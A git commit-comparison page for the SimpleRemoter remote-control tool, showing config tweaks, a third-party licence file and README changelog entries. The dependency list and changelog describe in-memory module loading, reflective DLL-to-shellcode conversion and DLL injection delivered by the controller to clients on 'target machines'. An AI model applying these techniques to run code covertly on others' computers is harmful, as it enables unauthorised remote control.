Compare commits
43 Commits
6e743ada0b
...
main
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
b4ef42923a | ||
|
|
8c64886512 | ||
|
|
773f5d5973 | ||
|
|
2843a260b0 | ||
|
|
3f662f1ca7 | ||
|
|
8e5ec20cf2 | ||
|
|
96688166ba | ||
|
|
1f538719a8 | ||
|
|
9f6476a7c4 | ||
|
|
5a20355547 | ||
|
|
1430ab3261 | ||
|
|
ec7cfa1d63 | ||
|
|
fc0be64880 | ||
|
|
be09b271e1 | ||
|
|
4064bbe25d | ||
|
|
fcd3b13ca8 | ||
|
|
99be79b7ae | ||
|
|
dc83c2df42 | ||
|
|
a52874fe08 | ||
|
|
7aeb7b6ed5 | ||
|
|
498c7d15b3 | ||
|
|
9aca587654 | ||
|
|
da024fb3fb | ||
|
|
a5a04aaab7 | ||
|
|
c846d11efa | ||
|
|
9fe8ab746a | ||
|
|
8c7f612449 | ||
|
|
d1aa7a2c02 | ||
|
|
c0a632a4c6 | ||
|
|
085543b0f1 | ||
|
|
1fd431ba76 | ||
|
|
268a427172 | ||
|
|
620aaf6827 | ||
|
|
d6fb612475 | ||
|
|
54c88539e5 | ||
|
|
92bf9c9ccb | ||
|
|
99fc15ae41 | ||
|
|
62e962f216 | ||
|
|
740ec8baf3 | ||
|
|
83d671c90f | ||
|
|
5b7d3903b5 | ||
|
|
da443283f2 | ||
|
|
e5bb405f79 |
4
.gitattributes
vendored
4
.gitattributes
vendored
@@ -1,6 +1,10 @@
|
|||||||
# Auto detect text files and perform LF normalization
|
# Auto detect text files and perform LF normalization
|
||||||
* text=auto
|
* text=auto
|
||||||
|
|
||||||
|
# Shell scripts must keep LF line endings even when checked out on Windows,
|
||||||
|
# otherwise Linux refuses them with "bad interpreter: /usr/bin/env^M".
|
||||||
|
*.sh text eol=lf
|
||||||
|
|
||||||
# Custom for Visual Studio
|
# Custom for Visual Studio
|
||||||
*.cs diff=csharp
|
*.cs diff=csharp
|
||||||
|
|
||||||
|
|||||||
1
.gitignore
vendored
1
.gitignore
vendored
@@ -81,6 +81,7 @@ Releases/*
|
|||||||
linux/Makefile
|
linux/Makefile
|
||||||
linux/cmake_install.cmake
|
linux/cmake_install.cmake
|
||||||
.vs
|
.vs
|
||||||
|
client/ghost_vs2015.vcxproj.user
|
||||||
docs/macOS_Support_Design.md
|
docs/macOS_Support_Design.md
|
||||||
settings.local.json
|
settings.local.json
|
||||||
*.zip
|
*.zip
|
||||||
|
|||||||
@@ -11,6 +11,14 @@
|
|||||||
- [jpeg v3.1.1](https://github.com/libjpeg-turbo/libjpeg-turbo)
|
- [jpeg v3.1.1](https://github.com/libjpeg-turbo/libjpeg-turbo)
|
||||||
- [opus-1.6.1](https://opus-codec.org/release/stable/2026/01/14/libopus-1_6_1.html)
|
- [opus-1.6.1](https://opus-codec.org/release/stable/2026/01/14/libopus-1_6_1.html)
|
||||||
- [libpeconv c7d1e48](https://github.com/hasherezade/libpeconv)
|
- [libpeconv c7d1e48](https://github.com/hasherezade/libpeconv)
|
||||||
|
- [libvpl v2.16.0](https://github.com/intel/libvpl)
|
||||||
|
- [dav1d 62501cc](https://github.com/videolan/dav1d)
|
||||||
|
|
||||||
|
## execution
|
||||||
|
|
||||||
|
- [MemoryModule](https://github.com/fancycode/MemoryModule.git)
|
||||||
|
- [sRDI](https://github.com/Drewsif/sRDI.git)
|
||||||
|
- [pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode.git)
|
||||||
|
|
||||||
## *Note*
|
## *Note*
|
||||||
|
|
||||||
|
|||||||
279
LICENSE-THIRD-PARTY.txt
Normal file
279
LICENSE-THIRD-PARTY.txt
Normal file
@@ -0,0 +1,279 @@
|
|||||||
|
THIRD-PARTY SOFTWARE NOTICES AND LICENSES
|
||||||
|
|
||||||
|
This document contains intellectual property notices and license information for
|
||||||
|
third-party software components used in this product.
|
||||||
|
|
||||||
|
================================================================================
|
||||||
|
SUMMARY OF LICENSE TYPES
|
||||||
|
================================================================================
|
||||||
|
The third-party components included in this software are governed by the following
|
||||||
|
open-source licenses. For complete compliance, ensure that any modifications to
|
||||||
|
LGPL and MPL covered components are made available under their respective terms,
|
||||||
|
and this text file is distributed with your software product.
|
||||||
|
|
||||||
|
1. Zlib License
|
||||||
|
- zlib v1.3.2
|
||||||
|
2. BSD 3-Clause License
|
||||||
|
- zstd v1.5.7
|
||||||
|
- libyuv v190
|
||||||
|
- jpeg (libjpeg-turbo) v3.1.1
|
||||||
|
- opus-1.6.1
|
||||||
|
3. BSD 2-Clause License
|
||||||
|
- libpeconv c7d1e48
|
||||||
|
- pe_to_shellcode
|
||||||
|
4. MIT License
|
||||||
|
- jsoncpp v1.9.6
|
||||||
|
- sRDI
|
||||||
|
5. GNU Lesser General Public License v2.1 (LGPL v2.1)
|
||||||
|
- ffmpeg v7.1 (Compiled in shared, non-GPL mode)
|
||||||
|
6. Mozilla Public License v2.0 (MPL 2.0)
|
||||||
|
- MemoryModule
|
||||||
|
|
||||||
|
================================================================================
|
||||||
|
1. zlib v1.3.2 (Zlib License)
|
||||||
|
================================================================================
|
||||||
|
Copyright (C) 1995-2024 Jean-loup Gailly and Mark Adler
|
||||||
|
|
||||||
|
This software is provided 'as-is', without any express or implied
|
||||||
|
warranty. In no event will the authors be held liable for any damages
|
||||||
|
arising from the use of this software.
|
||||||
|
|
||||||
|
Permission is granted to anyone to use this software for any purpose,
|
||||||
|
including commercial applications, and to alter it and redistribute it
|
||||||
|
freely, subject to the following restrictions:
|
||||||
|
|
||||||
|
1. The origin of this software must not be misrepresented; you must not
|
||||||
|
claim that you wrote the original software. If you use this software
|
||||||
|
in a product, an acknowledgment in the product documentation would be
|
||||||
|
appreciated but is not required.
|
||||||
|
2. Altered source versions must be plainly marked as such, and must not be
|
||||||
|
misrepresented as being the original software.
|
||||||
|
3. This notice may not be removed or altered from any source distribution.
|
||||||
|
|
||||||
|
================================================================================
|
||||||
|
2. zstd v1.5.7 (BSD 3-Clause License)
|
||||||
|
================================================================================
|
||||||
|
Copyright (c) 2016-present, Facebook, Inc. All rights reserved.
|
||||||
|
|
||||||
|
Redistribution and use in source and binary forms, with or without modification,
|
||||||
|
are permitted provided that the following conditions are met:
|
||||||
|
|
||||||
|
* Redistributions of source code must retain the above copyright notice, this
|
||||||
|
list of conditions and the following disclaimer.
|
||||||
|
|
||||||
|
* Redistributions in binary form must reproduce the above copyright notice,
|
||||||
|
this list of conditions and the following disclaimer in the documentation
|
||||||
|
and/or other materials provided with the distribution.
|
||||||
|
|
||||||
|
* Neither the name Facebook nor the names of its contributors may be used to
|
||||||
|
endorse or promote products derived from this software without specific
|
||||||
|
prior written permission.
|
||||||
|
|
||||||
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||||
|
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||||
|
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||||
|
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
|
||||||
|
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||||
|
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||||
|
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||||
|
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||||
|
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||||
|
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
|
||||||
|
================================================================================
|
||||||
|
3. libyuv v190 (BSD 3-Clause License)
|
||||||
|
================================================================================
|
||||||
|
Copyright 2011 The LibYuv Project Authors. All rights reserved.
|
||||||
|
|
||||||
|
Redistribution and use in source and binary forms, with or without modification,
|
||||||
|
are permitted provided that the following conditions are met:
|
||||||
|
|
||||||
|
* Redistributions of source code must retain the above copyright notice, this
|
||||||
|
list of conditions and the following disclaimer.
|
||||||
|
|
||||||
|
* Redistributions in binary form must reproduce the above copyright notice,
|
||||||
|
this list of conditions and the following disclaimer in the documentation
|
||||||
|
and/or other materials provided with the distribution.
|
||||||
|
|
||||||
|
* Neither the name of Google nor the names of its contributors may be used to
|
||||||
|
endorse or promote products derived from this software without specific
|
||||||
|
prior written permission.
|
||||||
|
|
||||||
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||||
|
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||||
|
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||||
|
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
|
||||||
|
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||||
|
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||||
|
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||||
|
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||||
|
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||||
|
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
|
||||||
|
================================================================================
|
||||||
|
4. jpeg (libjpeg-turbo) v3.1.1 (BSD 3-Clause / IJG License)
|
||||||
|
================================================================================
|
||||||
|
Copyright (C) 2009-2024 D. R. Commander. All Rights Reserved.
|
||||||
|
Copyright (C) 2015 Viktor Szathmáry. All Rights Reserved.
|
||||||
|
|
||||||
|
Redistribution and use in source and binary forms, with or without modification,
|
||||||
|
are permitted provided that the following conditions are met:
|
||||||
|
|
||||||
|
- Redistributions of source code must retain the above copyright notice, this
|
||||||
|
list of conditions and the following disclaimer.
|
||||||
|
- Redistributions in binary form must reproduce the above copyright notice,
|
||||||
|
this list of conditions and the following disclaimer in the documentation
|
||||||
|
and/or other materials provided with the distribution.
|
||||||
|
- Neither the name of the libjpeg-turbo Project nor the names of its
|
||||||
|
contributors may be used to endorse or promote products derived from this
|
||||||
|
software without specific prior written permission.
|
||||||
|
|
||||||
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||||
|
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||||
|
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||||
|
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
|
||||||
|
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||||
|
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||||
|
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||||
|
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||||
|
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||||
|
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
|
||||||
|
================================================================================
|
||||||
|
5. opus-1.6.1 (BSD 3-Clause License)
|
||||||
|
================================================================================
|
||||||
|
Copyright 2001-2011 Xiph.Org, Skype Limited, Octasic,
|
||||||
|
Jean-Marc Valin, Timothy B. Terriberry,
|
||||||
|
CSIRO, Gregory Maxwell, Mark Borgerding,
|
||||||
|
Erik de Castro Lopo
|
||||||
|
|
||||||
|
Redistribution and use in source and binary forms, with or without
|
||||||
|
modification, are permitted provided that the following conditions
|
||||||
|
are met:
|
||||||
|
|
||||||
|
- Redistributions of source code must retain the above copyright
|
||||||
|
notice, this list of conditions and the following disclaimer.
|
||||||
|
|
||||||
|
- Redistributions in binary form must reproduce the above copyright
|
||||||
|
notice, this list of conditions and the following disclaimer in the
|
||||||
|
documentation and/or other materials provided with the distribution.
|
||||||
|
|
||||||
|
- Neither the name of the Xiph.Org Foundation nor the names of its
|
||||||
|
contributors may be used to endorse or promote products derived from
|
||||||
|
this software without specific prior written permission.
|
||||||
|
|
||||||
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||||
|
``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||||
|
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||||
|
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION
|
||||||
|
OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||||
|
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||||
|
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||||
|
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||||
|
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||||
|
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
|
||||||
|
================================================================================
|
||||||
|
6. libpeconv c7d1e48 & pe_to_shellcode (BSD 2-Clause License)
|
||||||
|
================================================================================
|
||||||
|
Copyright (c) 2020, hasherezade
|
||||||
|
All rights reserved.
|
||||||
|
|
||||||
|
Redistribution and use in source and binary forms, with or without
|
||||||
|
modification, are permitted provided that the following conditions are met:
|
||||||
|
|
||||||
|
1. Redistributions of source code must retain the above copyright notice, this
|
||||||
|
list of conditions and the following disclaimer.
|
||||||
|
|
||||||
|
2. Redistributions in binary form must reproduce the above copyright notice,
|
||||||
|
this list of conditions and the following disclaimer in the documentation
|
||||||
|
and/or other materials provided with the distribution.
|
||||||
|
|
||||||
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||||
|
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||||
|
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||||
|
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||||
|
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||||
|
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||||
|
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||||
|
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||||
|
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
|
||||||
|
================================================================================
|
||||||
|
7. jsoncpp v1.9.6 (MIT License)
|
||||||
|
================================================================================
|
||||||
|
Copyright (c) 2007-2010 The JsonCpp Authors
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in
|
||||||
|
all copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||||
|
THE SOFTWARE.
|
||||||
|
|
||||||
|
================================================================================
|
||||||
|
8. sRDI (MIT License)
|
||||||
|
================================================================================
|
||||||
|
Copyright (c) 2017 Drewsif
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
|
|
||||||
|
================================================================================
|
||||||
|
9. ffmpeg v7.1 (GNU Lesser General Public License v2.1)
|
||||||
|
================================================================================
|
||||||
|
This software uses libraries from the FFmpeg project (v7.1), licensed under the
|
||||||
|
GNU Lesser General Public License (LGPL) version 2.1.
|
||||||
|
FFmpeg is a trademark of Fabrice Bellard, originator of the FFmpeg project.
|
||||||
|
|
||||||
|
Our product links to FFmpeg dynamically as a shared library (.dll/.so/.dylib)
|
||||||
|
and does NOT enable any GPL-licensed plugins (such as x264).
|
||||||
|
|
||||||
|
The source code of FFmpeg v7.1 can be obtained from the official FFmpeg
|
||||||
|
website (https://ffmpeg.org). If you require the exact build script and build
|
||||||
|
configuration used by our product to build the FFmpeg binary, please contact
|
||||||
|
our open-source compliance team.
|
||||||
|
|
||||||
|
================================================================================
|
||||||
|
10. MemoryModule (Mozilla Public License v2.0)
|
||||||
|
================================================================================
|
||||||
|
This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0.
|
||||||
|
If a copy of the MPL was not distributed with this file, You can obtain one at
|
||||||
|
http://mozilla.org/MPL/2.0/.
|
||||||
|
|
||||||
|
MemoryModule is Copyright (c) Joachim Bauch.
|
||||||
|
|
||||||
|
Under the terms of the MPL 2.0, you may distribute this component as part of
|
||||||
|
your commercial/proprietary application without being required to open-source
|
||||||
|
your own proprietary code, provided that:
|
||||||
|
1. MemoryModule source files remain unmodified, or if modified, those modifications
|
||||||
|
are made available under the MPL 2.0.
|
||||||
|
2. Users are informed that MemoryModule is used and where they can find its source.
|
||||||
39
ReadMe.md
39
ReadMe.md
@@ -9,8 +9,8 @@
|
|||||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/network/members">
|
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/network/members">
|
||||||
<img src="https://img.shields.io/github/forks/yuanyuanxiang/SimpleRemoter?style=flat-square&logo=github" alt="GitHub Forks">
|
<img src="https://img.shields.io/github/forks/yuanyuanxiang/SimpleRemoter?style=flat-square&logo=github" alt="GitHub Forks">
|
||||||
</a>
|
</a>
|
||||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
|
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases">
|
||||||
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
|
<img src="https://img.shields.io/gitea/v/release/yuanyuanxiang/SimpleRemoter?gitea_url=https%3A%2F%2Fgit.simpleremoter.com&style=flat-square&logo=gitea" alt="Gitea Release">
|
||||||
</a>
|
</a>
|
||||||
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Client Platforms">
|
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Client Platforms">
|
||||||
<img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms">
|
<img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms">
|
||||||
@@ -19,8 +19,8 @@
|
|||||||
</p>
|
</p>
|
||||||
|
|
||||||
<p align="center">
|
<p align="center">
|
||||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest">
|
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases/latest">
|
||||||
<img src="https://img.shields.io/badge/Download-最新版本-2ea44f?style=for-the-badge&logo=github" alt="Download Latest">
|
<img src="https://img.shields.io/badge/Download-最新版本-2ea44f?style=for-the-badge&logo=gitea" alt="Download Latest">
|
||||||
</a>
|
</a>
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
@@ -291,7 +291,7 @@
|
|||||||
|
|
||||||
无需编译,下载即用:
|
无需编译,下载即用:
|
||||||
|
|
||||||
1. **下载发布版** - 从 [Releases](https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest) 下载最新版本
|
1. **下载发布版** - 从 [Releases](https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases/latest) 下载最新版本
|
||||||
2. **启动主控** - 运行 `YAMA.exe`(或 Linux 上的 `server_linux_amd64`),输入授权信息
|
2. **启动主控** - 运行 `YAMA.exe`(或 Linux 上的 `server_linux_amd64`),输入授权信息
|
||||||
3. **生成客户端** - 工具栏「生成」配置服务器 IP 和端口
|
3. **生成客户端** - 工具栏「生成」配置服务器 IP 和端口
|
||||||
4. **部署客户端** - 复制到目标机器运行
|
4. **部署客户端** - 复制到目标机器运行
|
||||||
@@ -357,6 +357,35 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
|||||||
|
|
||||||
## 更新日志
|
## 更新日志
|
||||||
|
|
||||||
|
### v1.3.5 (2026.5.31)
|
||||||
|
|
||||||
|
**硬件编码扩展(H.264 / AV1)& 多客户许可证生产化 & FRP 子级自动化**
|
||||||
|
|
||||||
|
**新功能:**
|
||||||
|
- **客户端硬件编码**:新增 FFmpeg 路径的 `CFFmpegH264Encoder` / `CFFmpegAV1Encoder`,可调用 NVENC / Quick Sync / AMF 等 GPU 编码器;`EncoderFactory` 运行时自动优选
|
||||||
|
- **静屏跳编码**:捕获层比对前后帧,完全相同时跳过编码与传输——硬件编码器在静屏不再被强行喂入相同帧
|
||||||
|
- **菜单驱动的压缩 / 解压**:自定义文件 + 文件夹选择器(`ZstaPickerDlg`),可从远程主机直接选混合目录树打包或解压到目标路径
|
||||||
|
- **下级主控自动起 frp client**:上级签发 V2 授权时一并下发 frp 配置,子级主控启动即接通中继链路,无需人工配 `frpc.toml`
|
||||||
|
- **合规可裁剪构建**:`DISABLE_X264` / `DISABLE_FFMPEG` 编译开关,可在不动源码的前提下产出完全不带 x264 / FFmpeg 的二进制,配套 `LICENSE-THIRD-PARTY.txt`
|
||||||
|
|
||||||
|
**改进:**
|
||||||
|
- **多客户许可证服务端硬化**:`licenses.ini` hot-path 互斥锁 + 30s 节流,写频从 0.6 → 0.07 次/秒(外推 100 在线:~160 → ~3.3 次/秒);闭环了"预设续期配额消失"的 read-modify-write 竞态
|
||||||
|
- **`licenses.ini` IP 列表 4KB 截断修复**:分段写入避免溢出尾部被永久丢弃
|
||||||
|
- **导入 SN 按 `BindType` 严格校验**:避免离线版 / 在线版 / 试用版 SN 串库
|
||||||
|
- **客户端 SCLoader 大瘦身**:移除一万行硬编码 stub(`SCLoader.cpp`),改用主控运行时下发 DLL 注入
|
||||||
|
- **客户端 logger 优雅退出**:进程退出刷出队列里的日志并记录退出信号
|
||||||
|
- **IOCPClient 早期数据包防护**:`setManagerCallBack` 之前抵达的包不再触发空回调崩溃
|
||||||
|
- **多显示器光标位置修正 & MJPEG 录制翻转修复**:trace cursor 跨屏坐标系修正;MJPEG 上下颠倒回放修正 + 编码失败 0 字节 AVI 残留清理
|
||||||
|
- **FRP `privilegeKey` 改用 UTC 时间戳**:跨时区主控 / 中继 / 客户端不再因本地时区让 frp auth 失效
|
||||||
|
- **Linux 客户端 `install.sh` / `uninstall.sh`**:补齐一键部署 / 卸载脚本
|
||||||
|
- **Go 服务端构建管线**:`build.ps1` / `build.cmd` 把 Go 主控纳入主构建
|
||||||
|
- **Release / Download 链接全量迁移到 Gitea**:v1.3.4+ 不再发到 GitHub
|
||||||
|
|
||||||
|
**Bug 修复:**
|
||||||
|
- Web 文件管理触屏双击不稳:触摸阈值放宽防误判拖拽 + 两次 `click` 模拟物理双击;修复跨平台文件夹重命名 / 点击无响应
|
||||||
|
- 向 sub-master 发送 AUTH 时密码生成路径错误,下级始终认证失败
|
||||||
|
- 试用 SN 误进入 V2 / V1 授权下发分支
|
||||||
|
|
||||||
### v1.3.4 (2026.5.20)
|
### v1.3.4 (2026.5.20)
|
||||||
|
|
||||||
**Go 主控 & 全平台主控闭环 & Linux/macOS 客户端剪贴板**
|
**Go 主控 & 全平台主控闭环 & Linux/macOS 客户端剪贴板**
|
||||||
|
|||||||
39
ReadMe_EN.md
39
ReadMe_EN.md
@@ -9,8 +9,8 @@
|
|||||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/network/members">
|
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/network/members">
|
||||||
<img src="https://img.shields.io/github/forks/yuanyuanxiang/SimpleRemoter?style=flat-square&logo=github" alt="GitHub Forks">
|
<img src="https://img.shields.io/github/forks/yuanyuanxiang/SimpleRemoter?style=flat-square&logo=github" alt="GitHub Forks">
|
||||||
</a>
|
</a>
|
||||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
|
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases">
|
||||||
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
|
<img src="https://img.shields.io/gitea/v/release/yuanyuanxiang/SimpleRemoter?gitea_url=https%3A%2F%2Fgit.simpleremoter.com&style=flat-square&logo=gitea" alt="Gitea Release">
|
||||||
</a>
|
</a>
|
||||||
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Client Platforms">
|
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Client Platforms">
|
||||||
<img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms">
|
<img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms">
|
||||||
@@ -19,8 +19,8 @@
|
|||||||
</p>
|
</p>
|
||||||
|
|
||||||
<p align="center">
|
<p align="center">
|
||||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest">
|
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases/latest">
|
||||||
<img src="https://img.shields.io/badge/Download-Latest%20Release-2ea44f?style=for-the-badge&logo=github" alt="Download Latest">
|
<img src="https://img.shields.io/badge/Download-Latest%20Release-2ea44f?style=for-the-badge&logo=gitea" alt="Download Latest">
|
||||||
</a>
|
</a>
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
@@ -291,7 +291,7 @@ Full description: [Multi-Layer License](./docs/MultiLayerLicense.md)
|
|||||||
|
|
||||||
No compilation required — download and run:
|
No compilation required — download and run:
|
||||||
|
|
||||||
1. **Download a release** — grab the latest build from [Releases](https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest)
|
1. **Download a release** — grab the latest build from [Releases](https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases/latest)
|
||||||
